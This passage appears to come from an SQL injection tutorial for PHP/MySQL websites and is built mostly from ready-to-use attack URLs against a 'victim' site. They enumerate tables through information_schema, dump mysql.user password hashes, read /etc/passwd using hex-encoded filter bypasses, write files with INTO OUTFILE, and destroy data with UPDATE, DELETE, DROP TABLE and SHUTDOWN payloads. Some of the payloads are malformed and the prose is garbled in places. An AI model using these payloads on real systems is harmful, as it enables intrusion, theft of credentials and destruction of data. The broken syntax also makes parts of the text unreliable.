$pass =
$_GET['pass']; $password = mysql_query("SELECT password FROM users WHERE
password = '". $pass . "';");
Lets
suppose a webpage http://www.victim.com/index.php?id=1 the first stage of
attack includes finding the number of coloumns of database table. This can be
done in the following way:
http://www.victim.com/index.php?id=1
order by x
where
x=1,2,3 (1+) raising until an error message is gotten. The x-1 number is the
exact number of columns.
Next
follows finding the names of tables and coloumns of the table, as well as any
other tables and columns using the information_schema. First let us
understand about the information schema.
What is Information Schema? It is a major table
existing in any PHP version database including information about: table names,
column names, users, database, users privilege, privileges, database So to
achieve this two methods can be used the union+select or the grouped by
method:
http://www.victim.com/index.php?id=-1+union+select+1,2,3--
(or union all select 1,2,3--)
At this
point id=-1 and – are met. The first one is the null value(can be used
also:null). The seconde one –means the end of the query, any text after that
is just commenting. Also can be used # or /*. The previous means select names
of 1,2,3 from any database, with out null value just taken again the initial
url. Also words in url can be connected with simple whitespaces,+ or %20, last
is the hex character for space.
The
second method takes advantage of id:
http://www.victim.com/index.php?Select
1,2,3 grouped by id=1--
Each time
on the page appears a number columns and any other new information possible to
be related with columns_name, then that number should be substituted by the
proper info. So in following steps it is possible reading the column_names. The
following step includes involving information_schema tables
http://www.victim.com/index.php?id=-1+union+select+1,2,3+from+information_schema.tables--
http://www.victim.com/index.php?id=-1+union+select+1,concat(table_name),3,..,N+FROM+INFORMATION_SCHEMA.TABLES+limit+0,1--
In the
last query a new command is used, limit. With limit 0,1 the first table is
returned. With limit 1,1 the second table is returned, with limit 14,1 the 15
table is returned, with limit 18,1 the 19 table is returned and so on.The
procedure is repeated until getting an error. When error is gotten all tables
are found.
More info
about database version, database and user can be gained by using the proper sql
function into the queries. In MySQL version 5 and below it is possible to get
MySQL root rights. These versions include a table named mysql.user containing
hashes and usernames for logins, like in the following code
http://www.victim.com/index.php?id=5
UNION ALL SELECT concat(username,0x3a,password),2 from mysql.user/*
Hashes
are in mysqlsha1 format. To check what privileges a user has the following
query can be used
http://www.site.gr/index.php?id=-1+union+all+select+1,2,group_concat(user,0x3a,file_priv),4,5,6,7+from+mysql.user--
the
result are in format Username:Privileges When Y appears there are relative
privileges, where N appears not.
http://www.victim.com/index.php?id=-1+union+select+1,2,version()--
http://www.victim.com/index.php?id=-1+union+select+1,2,@@version--
http://www.victim.com/index.php?id=-1+union+select+1,2,user()--
http://www.victim.com/index.php?id=-1+union+select+1,2,database()--
Although
these functions are not columns of database they are implemented in the query
as one of the existing columns otherwise a message of improper columns number
is returned. The functions are inserted in place of vulnerable field. Modifying
database content: After information is found about a database either with SQL
injection or Blind SQL injection, described in later lines, it is possible to
modify its content.
Suppose
the victim page http://www.victim.com/index.php?id=5 and the query (with column
names): select title, article, author from data where id=5 (found by injection)
So table name can be change:
http://www.victim.com/index.php?id=5
UPDATE table_name SET title='hacked',article='hacked',author='somebody'--
thus
changing title,article and author. Or it is possible to delete one or more
columns:
http://www.victim.com/index.php?id=5
DELETE title,article,author from data--
or
http://www.victim.com/index.php?id=5
DELETE title,article,author FROM data where id=5-- for id=5 etc.
http://www.victim.com/index.php?id=5
DROP TABLE data--
this last
query completely deletes one table. In the previous queries it was possible to
delete any number of columns.
Putting MySQL server offline: The command SHUTDOWN WITH
NOWAIT is used, for example take the following query:
http://www.victim.com/index.php?id=5
SHUTDOWN WITH NOWAIT; LOAD_FILE
it
permits viewing the contents of a given file. As seen in the following query,
function load_file() replaces vulnerable parameter as well as it is given with
full working directory.
http://www.examplesite.com/index.php?id=-1+union+all+select+1,2,load_file('/etc/passwd'),4,5,6,7+from+mysql.user--
If this
query returns an error that means that a magic quote filetering is used as
countermeasure, with the server inserting backslashes before and after quotes.
It bypasses magic quote filtering the file (directory) should be written in
hexademical format or each character should be replaced with its ASCII value,
all values seperated with commas (,) when using char() function. When using
hexademical formatting, that is specified in the query by inserting 0x just
before the hexademical values, without any empty space before and after the
hexademical values. For example the previous query using hex and char is
written in the following ways:
For
hexademical formatting:
http://www.examplesite.com/index.php?id=-1+union+all+select+1,2,load_file(0x2f6574632f706173737764),4,5,6,7+from+mysql.user--
For
char() method:
http://www.examplesite.com/index.php?id=-1+union+all+select+1,2,load_file(char(47,101,116,99,47,112,97,115,115,119,100)),4,5,6,7+from+mysql.user--
INTO OUTFILE
With this
command it is possible to write a file into a given directory with a specific
text. In the following example the file test. When using this method as above
and more than one fields are vulnerable (columns), then the last is replaced
with the query, the other replaced with null. When return or enter keys are
used in text, it is written and trasposed into char or hex. If magic quote
filtering is used, then the text, just the text is converted to hex.
The
directory, file should be written with precision inside ' '. In the following
example the query creates a file test.txt in directory home/site/www/ with the
text “testing” (http://www.site.gr/test.txt). A possible exploitation of this
method is creating a vulnerable file inside a server and later attacking it
with RFI.
http://www.examplesite.com/index.php?id=-1+union+all+select+1,2,"testing",4,5,6,7+INTO+OUTFILE+'/home/site/www/test.txt'--
Blind SQL
injection in this method conclusions are based on difference between valid and
invalid query results after our valid or invalid inputs. Because unlike simple
sql injection we dont receive any direct info on page this type of injection is
called blind.
Suppose
the page http://www.victim.com/index.php?id=1We try
injecting the following statements
http://www.victim.com/index.php?id=1
and 1=1http://www.victim.com/index.php?id=1 and 1=2
The first
request always results true returning the initial page. But on the second
request, and incase there is not any proper defensive filter, we get a false
result, differing from the result of the previous request.
